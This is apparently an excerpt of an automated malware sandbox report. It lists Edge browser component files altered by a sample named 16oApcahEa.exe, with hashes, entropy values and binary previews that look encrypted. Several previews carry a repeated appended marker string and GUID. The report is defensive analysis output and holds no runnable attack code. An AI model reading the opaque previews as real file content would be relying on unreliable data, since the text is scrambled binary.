Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5653603
Entropy (8bit):	5.667778135536863
Encrypted:	false
SSDEEP:	49152:br7SnnEMp4xtbEaX37/ORDsYon+shfiAm+1GbMnkI/Lp1m5aUIzyI3rm6pIepx4v:nA8PpGbMnkJ5XmIqsTvf
MD5:	AF27207AAA063A2700479E61AF19E59D
SHA1:	AC55A217AC3792F5D506D7A16042C8288E12D4F4
SHA-256:	B614B0EA3B04B76313F4E8C43BC5F56669C8F0815B2DFD323BD383569D0B4701
SHA-512:	75C141B6A7292372135458E0CB1F6D89536E565A12BA04BC53BD80C01BB5BA31EF38A1D45B1E04FB5E612AAC128027F2AFE228FFDF7CA0301F359F3F416DA3C5
Malicious:	false
Preview:	/! F.,.F.d.....8wG...s....x}=-W.h....Yr....GS_C.[....'?...R..2..v>..{.g..a.&k.....c..{..9Ha.."C.,O!zF)c.}.mo......`....pF.......]W-%.p.1<T.-..ZZ..~..g.LV..^...{7.m.X.a.0+..Y4.ik..x.Ak.'....C$.(.r.<....ve.c6.>.1~hy...?..8....u.......q(rx.....)P..\|..T,r...?..d.-\x..W.$%.M..0.{....qh.,..:b=.z.X...1.+f.......q....^.FQb..7.....F........CO....m......%.m. ..9Z.x....~.q..%Eq(3v.)\|.N.m_{.......c.F.:ul.=........I...g+...0z2..p@..6U...N.%...f.c..<....\|bB.....~..w..M..C.Y...0@x...Fn..!.g.t..8>...`.....,..)...<.Z..7`..{.2./.)YD.:r\J...J.e...."O.wG.......v.m.C.....@.+..;..m..N>A@.>.s..p.M..4'..EI..#/.L.?...}..:...$>.^.5G..~..i/.....<.dL.!.ViS...S.4.2.P./.....\|g...vJ....3./...K.V~....A[..,(.g...cTH...n.:...9.d..t\|.j..M.d..iI/O$.5...J.S..F..b..-(...E!.U.$v'].....`..Om....j....n..a'..)....aekW..g....:.....6f..KI..-\|Y..c.."...p....<<=J..q-E......~]W...\|@F9D...4.4T..(=_.l@H..^..........L.Ut..$(I...H8B........;.q....V2..(.........'.........-...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_fre.html

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	7.8518814739319875
Encrypted:	false
SSDEEP:	24:JHUcBTOoy920L/oa/CLUShrRR0WDI39I39rKyQ04Zqi6fxan3hsGG2aPBUo00EXX:J0MA920boa/C1hrjDItI9QDZnIIGVPCf
MD5:	446D48FC08FF03E62808BE55CA9F7D2A
SHA1:	8C813B4F673D97E2F7CE1E5F8EF628C72120FDAB
SHA-256:	473EE20D50DBCDDD91BE4AD83FD73A2D84F42A3C56C7671041824CED37C224CC
SHA-512:	FB2DBD85661E4F3A38ECB9D3CB6CD2E879F30554116563E101DD10B945232BFA59C605434DC889C42B7F447376EC2DE16C610BBCC5EC96392F2CBA8BDCD3F44E
Malicious:	false
Preview:	<html.......P..A.G5}.j.tT`....`.Z...k.. ...D:O...A.txNN.&w_>Z..5...>....B.......K`_.....r./]h....(..D...&$..O.........B..n..JK.<..........;......we..qC..x.<E.C..A.&jp.."..p'.pR...Y.$[....+)..Ej.t$u........Yv.@.....!.{....[P.E.......c....>L.....rD.....j.....`F...e.}e.L..Jqd....{.h2....R...&.}J=.s..=....H%L...>....1]0.3...0.9..l.d....P'..ye.ZO..9h..V...Jv...g..m.1.)..QQ#.N+2P...wgQe.v..[;g%...).xQz.F..s.6...0....b..R+.4){J.S..#..A#......Y.L........y..e...$.Z.&c.O&.yi%....u.D(....oH.p..1.W.Z..i.K.mm....!..oJ...D..R...l.'Q......l...J......ud...U=k.-nHd....PM.0.}..?t.g,...._.. f..C0......t..[..M..$...T..Z..=d.....r..f..;O..`.i%P..W..m.X.T..Mvt2.L3.]....?...nQU.....H...Y.x..#..d...6DK..s3..I.Sh.....[.t..Vv0.,_r..y..lo.L\|.t/#.r.....E.V...5m.4..R......C.....;..iG.K..a.?{..i.<.vW._...O.8..["......h.."...:"H.Qw......L...}......v..%.t....[3..1...(....m.u\!l..MO]..F......u..5Le.ZnU~...u....N.k... .....:.v..Aq...T.@...k.,x.Tw..A.i.?.^...../....>..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping_iframe_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	12270
Entropy (8bit):	7.9844199035973595
Encrypted:	false
SSDEEP:	192:tm5KA9B+89wxfwUcOgmrOS2KjAcfgezy7F63K14PKA5Xgyr+2vWNdLjQxENB7bsX:a0k/TOgmrHe8a14iMXBBvWNB1/7YX
MD5:	5AA8A04A09899CD8DFCC40112ADA8FA6
SHA1:	00E48573EBD1D6D6C66C6E13A57773AB0C04B96F
SHA-256:	457ABA6F62D8DCECA4805F9D52DF1C504864E4CC082399F40CAF9931D78DC539
SHA-512:	6985155EB71560834AEA5D8A81C7D6F4C5C5704045AA1FA7132A5D1416C6FB03228DCE4F6B3BEB38D0951871E9CC69EF2BF7640902263F4D10A58F921183336E
Malicious:	false
Preview:	(()=>nM...@.O.....D.IO...=.k8.....&..{.7{.8U ..@%uE!/..).5.y.....O............G....<&F......PA#.s...B....h.0\....C4.Mv.....U:.~........h.o....~..2Q.@8...g.R.c.>..].<.B..1..MHu".<.:....b..4(%........../....R.g>...5..^EZ..hS.f.t.[=y...x..6-........J..~.w...p..n.yv8R~.w3Nd.aR.\]....{(.MAG.n}'..$^...\|e.A.$......?.1...+.8...n.s..G..BM.Y...E."c>7a.......v.[..H.&.....+.M...LG.:..Dg.....J..%..}NE:.%..^.^I..B..2.F...J...m..}.S..IG...<.....8T...`C.....2.J...KYu....S...j.....A..T.s.........w=-J..G._.)+....G'..U..D7........PB...,.7.....\|...<...29I..........pg....[..$/..&.&L.J.sw....<...]V.h....z=......',8..\.....'h......5.Yv........q+..c......>.^7........g.8F...,o.\.r....x.L.....b......d_........{..H.nP...h..4M.^.pV.<....U0....w..l..46_......<Lp..s..m..l.j.S...>....X.Z.:.'hw..'..../....Y;..."..fs..a....W...\..E.sk..E.. .....R@.......v...@W} .Pd.C.Z#.}....A...f!..g..`.}C.`..h........nV.b5....p.>.....}2..a.L..n..3...zo..}...]M%&..8..B..+.Q.m.[.....@.L

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358109
Entropy (8bit):	7.387314782900248
Encrypted:	false
SSDEEP:	6144:o61/xqGSkv05rwDR4L4cDqn7OqtFS4pc8Yv7fX7cxbAB0uE:o61/xPSp5M1Ydun7sHIzP
MD5:	89AC6011C8F04B32619C42066DFA5BB0
SHA1:	31417DCAA64F6475004EEB93451B821BF3AAEC93
SHA-256:	39E47F870F51920D21A68BFEB2C31A4C98BB72B9CC152BBE3A4785CDC2908979
SHA-512:	2A7C15F2A1DABA45F8D1685D2CEE417B4A2AB3F76A811B145FC260CFE800721B6F7162A12E4A5BB952408E63BCC23B87153B90623E513D3A80BD04AD80E07D58
Malicious:	false
Preview:	!func..X.U.....?0..a.N5g[...^l....^..#l_.._U..t..n...+..n.. .R.i....Q.+)...q....~.e.....`;!.....tG..{.Yq.z..K.....~{ru.5.././.#b.HR...k.dQ.x%...\I.i....$+....e=.\|:....1...j.X..0..uD.r.z.....z.<....h....:Z:.6.<......ZW.z7.!K+x..".......I..\|....&..x,.[.CEj..9k ..{.8...XG...6....9.].@v.........#.#..9N..`..L.q+..SB...__.o.G......p.M.O..k.^5m.2.......H.vY`.E....8.TQ..N......t@..r.Y..Za..`...\.....Aze.\u.....#d....3.f.DN..q.~....x.Z.H9.8_'..'.V..j"4M.#..X..........R.Y.CM..\].n...B...(P...fk.......f?U..^..tG..^...........'....@......]1.]....q.ZJUY92...F5..=8,C]...9j.?.....vsB)........>I/...BT......zhcPA.<....@..w.........#...f@f..EK..[H.6.l6...w.[..../..Jz^..l...S".g.r.dfjD...b9D.d9 Kx..+.c....VP_].F.....S.8.\...~..........bP%...a.N.4..H0.^.Q.x.8..YF.K$1%okA5..../..S.]....m..$1....A.`...=)C..I..o....E.].<.............v....4mv.dlS....k].#...OV..Fx.a...".mU=..#*.~.=.3..]..S.cV...@..a.5c.\.....~.g.aaj.J.....7O..X...hBGZ.i.&H...,<.v..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\automation.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	4605
Entropy (8bit):	7.955809757886346
Encrypted:	false
SSDEEP:	96:BmkqngVApjDkmXZqt970RqnPYM7xsgIRhwqOg1h2KIj:BmVngOpkmXZqzQRqPYM6nhmuIj
MD5:	BC2FE3BA3C215B228BAACC5B7BFD2BC5
SHA1:	993E067AB2211394D00146D8F3BCF5B4608B6D64
SHA-256:	1248D6C72EFD0867A02376B5B261C251271DDBC81A18D8D70AC4A8959ECBB0F4
SHA-512:	90F694C2CE250D4FA44A6AA3F9CD208C147592350EBF6014F5A91F1255D35618233387BFDECAC2489A2509639FF8F0E0E859A1BA20F2F59D213580BC80D42ED8
Malicious:	false
Preview:	(()=>...F.....H.9H....%c70Z%J..5.I(Sy...1...R:.......8q:.>.s&F.".ph.....B...7~ r#.3m@.8#\0...s..K...K......]..jS...=$...5....qg,.~y.G.?`>.F..oS..0......iT..M".w.;!.Fp..g.....U..3oG....U..c...79Ef..`.)..q....K..P..Kh..f.l7{.Z}....N.......b:..`..q.2.~..%...U..X.`...^..I.U.._.}A..n.J..5@/.d.K.z$.T.."..,}..S..KE...H....C.3 p..B...2...>.;T....j..\.DB.._,..`.<.O[..JlE..kd..<...{Bga6..+.8...:...."..41.3M...O..d&..~.....H........\|...@j...i.!..J\|.Ku..b_...%.I-../....d.1....N..mWG...(c.\K../.W..-..A..-Z..9....9......0J..C.~..&.N...ZN!.;.p>...8k..M...y....k.A......0.L.....".........2..>ls..T.I{/....Y....<(.........N$l.#..G.\..&XW(i..A.%"f.I".;m.d.3t.X4..%...Ugq...R..NlUXi..0.fWs....J.....K..,..W_..g...h..3?r.......$.~....a......sG].-.....wk.2&W.D.......e...S(..Y...WY#.'.Y-Z.k..m1#..}../$........g}....6..t..X..^....Z....m.....eX..T...>Lw.........V.....S.g...m.?............~.."...(%.b.fJ.. .o....v.o.-'...m...w..w-.i..."..\|......."....D....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\classification.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.813644614070323
Encrypted:	false
SSDEEP:	24:9jpGfyCHrXvhAoTQxO/B4bDjbOGvBENc6L1gyG8oVUOoh61SKrs9pbD:jGbrhAoT6sgjiMENLLyQV81SKeJD
MD5:	DA2F3D27D57670FCA429DB5996F7F47E
SHA1:	9D0B22303227E2147347E520A0D7DFA7B04BD0D7
SHA-256:	BC726D4FA473BD67DD55774D54A7E08755155E4555514FD8259037C13A4E963A
SHA-512:	9328010D4BBB2B2BE06756844A349504E5AFD78E96644A421E49F988C04114964EC94190AAF993D60869B9E8F7C3585DC7A3A8C9874B48B053C9F5FDDAD3BAD9
Malicious:	false
Preview:	(()=>/...Q.\|.No(.....jT.e/.#..w.~G.r.Z..l..).../.zY.<.=D"..;K......}z...G>M.~+.H..VAg..e.$.nQ....Z...$P...dX...F.....=.......h...3..jh0q6W....;.......Sxn.k2... ....Z..i....../..8....[o....g.[.T.r..q...4..1.x....b#.._`........T...2te....p.M8....!#xJk&E.#.....aK..p...n#A...G......@.W..q-....Tk.7..r.s.;[.....:...c.d...........#,..PE....c(<....8X9...f.t...}...4..%.'%Z.......X66.1..$.....c.xU.Oo@..'..'WZ.iI.....G.\|....K......#.....2.gUb.....UF9_....9.....IFf...KQ..[..?O...3K..-...h._........5b..\...k...{..f.g..6.....K..7.....aFHx.n..$..U{........W.~Q..fQ..^{^.6.wg......g..).U.k....DV.4................tc:sh....hZ.n`2o........~.E...$....D`...agV...{v..q...{..'t...4..A..!..qt_.K....1hP4.6+.........m.vE..7.[..K..{C..K.6 .... .}}j...."$9....#..?..`0k..y... ..H..\|....%-`.1W.}=.I+R.}....2].......Z...$...y...8.)1..\|0...C?..Z.:....._..((...X.._..V..4..x.>y.A....[.R...R..pa6q0..Sc.f.W....;].....W....l..*.,..f...3pv"......j..y.!.<\......1PW

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\extraction.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	5656
Entropy (8bit):	7.963002721620585
Encrypted:	false
SSDEEP:	96:7sSYeqRCl8ggQ2WasXpK20SgCyVUSWAkJVDDT1J3CYluID4MpL6fdb:QSYeH8Q2XIbgCuO71Uueemfh
MD5:	8C309EA1A2071B028A3F820A9E5FA273
SHA1:	C6831484F1770A3327E76AACECAD9844960C27C6
SHA-256:	C386BF103EC515F75F7D188EF1791CC435E00EA6BCEDF7A45E27FBC107FC282C
SHA-512:	691961840F50069D2CEDD2436D6CF1F77074AB8CD0192F5E69B2517ED62AEA182B607A4BF2F3A94FBEB23FBF2D296B9A7007B49B969D4D38CA6435B1727F41D0
Malicious:	false
Preview:	(()=>...>.Y...k~..AX.iE..}.,..[...O...5z.X..e..0.A..)...6...w.~4...i.6d.S.f..g..T..@<.......z..,..B..\|t.g.....O0.~.{U~......Z..+..d.....e...S'.^.....>..5.VD(..".$.XDfZ.Y....''.D%.Oo...\|.^.LoM.D....g9.[..7uI......".A#Q..g_....Py_g.1..N..2~.$t....0.M.........f.T+d_(..v....lb..X.'.........h..\|...(.h..Rm..r8W>-.E.)(.c.K........J..Y..1.........#.U..W'....=..n...\|.4k..$.......3.oO.."..^.Z.....~........5...!.`4l...=..B.o..\|5D...V0q.D..%./iRN.m.cDv.l......(...o.1..x.kTy.......Zh..\|....D...w(...E.'.HU^..0.m,.5./......ar$...G..,...`..h...D............[...xe..Nwi..Z..8........7..&w....V.j\|.S...<j.f..4...7.9.._...=w.......JT....../.r.E.+~..a.7....tZ.s[.....~...`..;&.'>.w.ux..f.{..K.4...2;.....g....]3.3...A[...u.F...M.M?[.H...gQE.^...e..1.5.s.?.{uA.F..6Y.=.-C..[..k.^.t.kD.IA...1....q.g...[_4..e......{.3..-D.ji.C2...n..;.O..?..i....f.Z.a\C.+..`....H.4........\~......"......^K>.z.(K.{WVNk..............M..r..G.`.`..s...a...3..rsd....k.I..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.369280551407592
Encrypted:	false
SSDEEP:	12:DSIRi0NatCrK99PKyXy5S0Ct39M2cii9a:DSIs0N4CrW5ECB9pbD
MD5:	951A3AB6EE4AB906C9D49749EB5AC23D
SHA1:	541DB3A5FA5BCBE426A4C831D6FF00938A055A9C
SHA-256:	65B11B7A9DBF411FE5586AD470B8D9927D7C62F3FB0EF4CE4D7FDFB4436CA2F0
SHA-512:	2C680949E8607BF5FCD4C7BF3AD4D54BB533E27CEB66910EA3E8D70924E7E2EA3ED95E485E4C8C9B77A254C1B32BD45E2C78071D9CF9840B68895079340D58FA
Malicious:	false
Preview:	1.DD9.m08.........;.&..l..,.Lx..X.}.D.GY!.<..\|m..3\|....l...XSa.....<.?q.....!.....q.AS..z.7.:&...s.s.A....C.I&2<..R!.M.G ._..m..6....L.}E.'z...Q&7....A.w.w.phUOH..}...I..!..!.....=...RT.........g..r...........0I..}..d.A......g.~....?.....`..)\\</..?...1.j.F)...Z..*.............Z.^...v..<..Z.._.Sg]xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\manifest.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	469
Entropy (8bit):	7.496483334946234
Encrypted:	false
SSDEEP:	12:Mgj7D/DZL2Wu2Q9/8BeoquTtuM9pz399M2cii9a:MEbEJdeeo7ukb99pbD
MD5:	9902668780F2A3BC1C2AD944DE63E414
SHA1:	2EF9B72A91A6846770ECD62A2739991516B58350
SHA-256:	084ACAA649F2CBFDF87D9E43218ABA951AC01F10625EF3FA531C2FC10CD1D9B4
SHA-512:	F024E004A3DA2382C51C2AF8FD518A59B9CF0574B1183B3FDA36551E474398555B343311E97F5D5769B4A82F61BB20840B9F8F025AFE97E98CDEFCB12ABEE26D
Malicious:	false
Preview:	.{.?.q.&..a.%..!o...`...P.....g/..O..z.....l....#d.T..d...FG......<.4..8.l.G..@(....!.f.).p.....c.w.K..&..O...]J....~_..;......\|.....,4....Z.kT...?o]..AX.9...+.T.ia.P..R...... ..9...S.v.[G(.)'.....#..i.......k.R..{F...8P-.q'%Y]..rq...QW...n.q.N......,._........{....ys..T..h....G....W..5s.a..Q....dt..IM.B......ZO.]C!..O..`D.o#......W.-.\...j.-b\6....y=......M".Ja.j..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-bing.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2741
Entropy (8bit):	7.928174428306026
Encrypted:	false
SSDEEP:	48:FLOirLbgH9Qsnz4fpY+qnjlJ8Z18SaFpxStpzXJzl7/Ciwa3gHzJD:FKiTKKfK7jKaFpEDzXJB7KoQHF
MD5:	611D7FBAD2511C410D8E9A454E47A2CF
SHA1:	F2BB95A648AE7C1C77C38871D3CCF32EAB66FEE1
SHA-256:	C8C6CA484E3D816DBE6569D2B2166634894A2102FB4EF96FA32B775EA455EA5A
SHA-512:	2DEE5ACD060269510CDA28E27F4AC9E763ADC596BFD0B01B71B45607DC12E4D6E2ED8CDA2EB8EBACEF5E429900756E9B8E5458ACA4599535D4248A1D6469A0A0
Malicious:	false
Preview:	/*. .l^.W..i...-.....#).cZ.....?.3..-.L....x...[.IZ..`.......B....$..O....!v.....1M:g.j.C....i9U(.L.~i...p..KC...T..._..d......hzy.U.qdu.v..6%..s3..>wO.$....c..{....=.SZ}...< .43..>....e..}../...8.?...kr..4....t.....V. .........C.7..?9.l.$.~..!-N...,..@.;..<.a.......f.\|K6.\..F.0}..A.;l.4&p.....c2....`1..%.p...^.....}F.z7.>R......xu.P......y.tw.S#..w..@...4]. ;(..^......+.mN...`...s..;.S..h?.........i.I....-ub..d..)o.....3..........gV....d...GJ2P~=.r.....O..'.4....Y.\|t..u(.:..B+.e..t.rr./...F..f........m..G. .}-.........;.}.....%..5..Mk.y.9.=.% .Z.{)".W...c+......[....XR.........@B.<.o...m%.^I.=..B-k..x. p.b.\|....{Ce&^..'pKd.2.L.rt.sO2..v..(wn....,.../.+Y.w..V....+...#...V.S..K-..^~&..."c.J...OFn........6............@.F....1.....r..C~...z`m....1.;\qd....#....+s....'.d..P..x../n.`'5d..1.dT.....-..`.HHt.RB.bE.4..xr....3.;=?..P.k.(..%..l.....;....Hu.....Z{...d.."tp...Q...=.d.....\|7>~..7..S.o..~."x.~..H_.j$..i$I.;.!.5l.}.%S..sD.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Travel\1.0.0.2\travel-facilitated-booking-kayak.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6185
Entropy (8bit):	7.968082430531741
Encrypted:	false
SSDEEP:	192:FzZ2VGc+quVimZfhulJ2PzZj7GCDskF6O7+MrzX:Fzs4/rhZfhZPzZXG06O7+W
MD5:	9F3EB4B28E77915F42D3ADBFE1986174
SHA1:	60DD4CF6385CC2542D0C2CD27269F47A58A34756
SHA-256:	9A9617A0E42E35731B4E0CD569E7648C50B455D2E032E2F1CEC2336E33CB3C9A
SHA-512:	B06339F19B9C7D17FBEF9B404D90A782AA37A2A917A63F0083CB3C61A3975397876BC512297A3595B6E1EC3DAF21280966E063862CF3F284E97349FBEED154A3
Malicious:	false
Preview:	/*. T.!,.Bd.O..x..U ..../_...R...s..\|....e+.Y..Dk..R...13.jM-.hO..o..j..U+....Eo.e....!..Nx.....&S...F..n..g..2..I..X..:';..............T.p.;..E..l.=.V...ZH.9z..s.n..Ims..p.x.@4.A....M...<u.%./.....j...."m.0...'.p........... ..JX.:...7x..D).]'...;.b}../.8c.'..c"..I6.%.`.O.t....t..T...?HF...Y:...]..Z\.."#..<.....>.....J.....X..J(.....6b0... ..../...9.......`..A@...q....3.y....<...83..(......tp...n...,}...L..=ab.........Mx...K7z..'.(.....w\..6.[uc...5.Z.Q...d@~.....x..C.5. .<:b..a. .h...!K.\|U....A.cV...\O.W.yK.....'I.."..,S{OF....h..).-...EH..F.MV...W..G.%}q.<g.u0.T.+....aN.z.:p.{....,.<t..'.].B.4-..\|d....@;K.9JP.Je<-....%u'g..&m............%..$.I.......V..&..i.z.t..]5..r.t...0..a.[v.(.6..7.........3.q..3....d..>...xn....8....h!...y...m.+.tq38......3I/......M.....\".....iH......<.T"..T.@.$[[..7..W .Y.0%.=.9k.......}fM....\|..$.FxB.P...J.G.-..0....Ml:.3D`..Z?...X.Ru..d..........."....Z..>....s+lzq....Y..q^....n,c....u.O...V.Z_P.7

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\app-setup.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	540
Entropy (8bit):	7.561513441050617
Encrypted:	false
SSDEEP:	12:okxITjWmjdvknysqKfnxrpXW4l0gbu3CEcGboQ+antRdRfF8biQ/s9M2cii9a:0TqmhKlfnxrpmJXzzXXGbps9pbD
MD5:	C32D13E59D4C3CC9CFE52C4A2FF8D949
SHA1:	6F316814CD933DB313D615AF71B9153F82E34E6B
SHA-256:	B67C33DE1A867D579271E87B8E5E6D3E5C7F2484956FB93477BE7474B1FE24EA
SHA-512:	BD78E2D8D989BBDA34E1B3E38F37E4BB0C78C81A3772B09BFA9BF2F18D0D2D28561EBEC6CF45F220CD50AED3E14A2A5E3A7D3F2BA103C372FE4F81A10B8C0F68
Malicious:	false
Preview:	windo."..v.cR..ZP..P...W.}wS>F.(Y...T.&8p....h..b.......y.=2..R.MS?..z....?...b.X.M8......P!.kC=c.......m;.....9.R`.g!.ZUV.:........xDW...b8{..@U..+i..f.F.wO..1G.l.m.m...)..:O...$............5T.:Y.g..wg......'?....Rz-n1..\|...W.4..(....-oC.f.`jm:1K..$.1...rS...B.P..Y...D.0%.U.)7.....{a......m.~qF...>..U.aA@....r..I.^t7G. .tCx.P...3.Tg...,....B?w..e..j.........Cr"...........,.*1...b......>9....7..U. ....G......O....,.0.....,.b.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	11876
Entropy (8bit):	7.9851958843005795
Encrypted:	false
SSDEEP:	192:AL6y0ViTIQjaWyrWc5YA4oI7yxWSjFirYCg5WzeGFG2+eVIoBcVuBopT5:AL64TXjaZrF5MoIGerYCWAeG7/VZB0u4
MD5:	9F801DC1DF7E859BAA4241FAC5E80D2F
SHA1:	6433D040F4729D6A83F7AF13F87F127F98940D00
SHA-256:	EEF49D0574FCDF0BAFB5FEB961377DA5D369503F7E764B7D541B9CE0D447965E
SHA-512:	B4F541129F0037CE4E90CAB166D526BC455D835F2AF2B79EF7C7AE8665E0D1CD5EA6D84B7148A6972E6E3956C211FED0E87A0941EE09CD133626846D17D1D41F
Malicious:	false
Preview:	!funcSg/..)..t....Kt.;#X.Cpe.Xw.u....\|..1N...Y\...s.......m.}.......um.t(.....^.G.....".p.?ne.u.iwXo"-..5.3.3.n..T'..t...k>&}.+.Z;o,5...s.\|oHm=..&.O.S......z.v..wM.......G"@.r..hU..7F../fP....Lp.SoW...w..]jn.pRz...[....;g..,.3.d'.tR.&....0P.._...J.T.....g.i{.....23..Fw_...jz....=.>w......P..........X...b..T7..6%..;.a.I.~.}.T..%...B\.....8L...YR.........X...=.i....D,..3o.L.R.....S....".....$.S......z..'.....x.g....^xO.......).yz...u.P..s.j...#.f...P..%...]..q..h...@T.&yj.m.6..t..m....j......sXb5:mj.....r.O>.............F...g....\G.}..E...$.8....Q.B..?.;..4"HN'....o.......ZT..I....>../.I.0.tp.l... .,...p....N...:M.D...`H.............d.:..._..T..Z[......=....}@...W./6.........a...ZKK...\...;.p..kd.&.=.....O.FC.#HzV.vZ.,.w.-.Y....l..k.....I.......>. S...i....69..U....}oT.oJ.T...%-.v.t.@./3.......fW.^.7t.4Q...<.(...3a.a.....O2.9.....G.....).n>...WFR...........>v..\.?..o...5.I..M....,..'.y.$@L...)5.wb.(RL3.b....&.d.!.k.2C..6..}.kR.9....M..<<.b.;...b.'...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\crypto.bundle.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	455
Entropy (8bit):	7.457964426730777
Encrypted:	false
SSDEEP:	12:+3hAedHeuwDrYGJxUo5JLZGnJSbf9JHVvA9M2cii9a:+PEDrDJ1Icj9J1I9pbD
MD5:	8CCCDAB4742930A4C0992AE0E317A42E
SHA1:	02B17595709B0A232E8D64E0FE9ADF764D25DCDD
SHA-256:	5922562F1FDD0243798DC3CD4CF578FD2418C09CBF9BDBF07B47C882503DD64E
SHA-512:	D19828A5D6CF63954F57BDFBC89ABEC7A0E2B12B40BAF423799EFB003719D88EE5247C7D594ADCBF15EBEEA9A0E544E28B42D5EFB77F10D39A4452D2E6B99554
Malicious:	false
Preview:	(selfE...0.2.....A3...fEMKZ...S..16e.s..T$e:.f.~.<O.N.u.)\|........^.?".r?]......l.?D..d....;M..B...h.....bkS..khrw<D....G....<..1.[.qcVY....\|..hMD.-.qu......RY.J...i._kh.n.!k....m..`C.X...j.l......Z.......p.....,..;.=S..r...#.d.%.;....y.S.n."6..!6..?u.....M~O......m...g.......4.)V.5...L.M..hfE.}..X....R&..b.].8.....d...B...zX....w4y.$K\|.....C!..>.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\driver-signature.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14677
Entropy (8bit):	7.985715725861175
Encrypted:	false
SSDEEP:	192:JVj9s19bLhhFsw2WZ7Y/ke+tKInyYw04qK8dD3kVxwzc3VcH7n4BeK2o:JVpsThhFj2GkXwyzv3usuUBeKh
MD5:	37269C96225FA222A2A6328058B53BFB
SHA1:	556560B2DF0A7CF62B4282504367A4AB3D1BC395
SHA-256:	7694DDA7FD2C6C081F0CC92C604DFC2BA432A49C6B3DC27050121609FD08CFD7
SHA-512:	CEAACDA73298AC90585A6AECB64369B1B9FB129A1CD41C45725BB73471BDE211285A55CF66F3C632E17AA0B95411B60352C5551CA56AF716476B02F28EA0552A
Malicious:	false
Preview:	eyJib..`\|.6.O....!.f.5..N.=._a.. (..G.2Zt..6.....#..@.Y..U.~?\| .d..[.G&..&...^..u.N.>..N...=..V.H.b. .ga.q...m....zt..S.[.\|."O7k......tf...s.W..].i .`.J.pu......a ....H0...P.U..;..@bIv>.,.>. Lhbb.0^....g..]&F_i.'Y.J.&Cc.>f....r.Q....B..K]E..[y.?@?.#...B...e@gx...4..i7%B./ .M\|&!...k..d...2.o..[.8.5.':.o4.....,...]w..I.]...M.&.....O.%..Y.;<0.[Q.9.:.&...7.W..9...x. ..$....x.0..t\|;....m....q..k.i..].......ojx....C.2I.......K....5^..O_....2..".\|.RW.....\|r.^.C.d.p........2.....6.....e....7Z..M.\..9R....8.]p(.@.]".....o.Ma.t......`,:.y.k.]..[...d.`lQ.\|..>..gt~4.U....&.\.u..5......a.:0...!......6\|.......s.0L=7<U..M8.......d..y~.e.&k......S6..CA.0............./~.}EMR....=...P...=d~.......c2-..e......-...L.v.,WU/...Yy..{.....t.".I..v....ei....C..m...K.)8...YA4muE..V.rO..0.4..9..H.Y.;..M!.X........4....+..G.+....=d..n.v..y.Q...j.pH...;.".,.P...$..k.....b!@.4..`..j.F......c....2..3+...cs..3.X..].w.b....m.t....`....E99....50...0..M..T....u...N.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1946360
Entropy (8bit):	6.064962505323299
Encrypted:	false
SSDEEP:	49152:CXVjRuMrT9ZVAgJVVgdsvtbJcbKPPNb4hbmPJHM0PBudMJ:8TrTf7NtNb4hQJ
MD5:	1C70E8F6B41E57D67529BDA5F9F2A73F
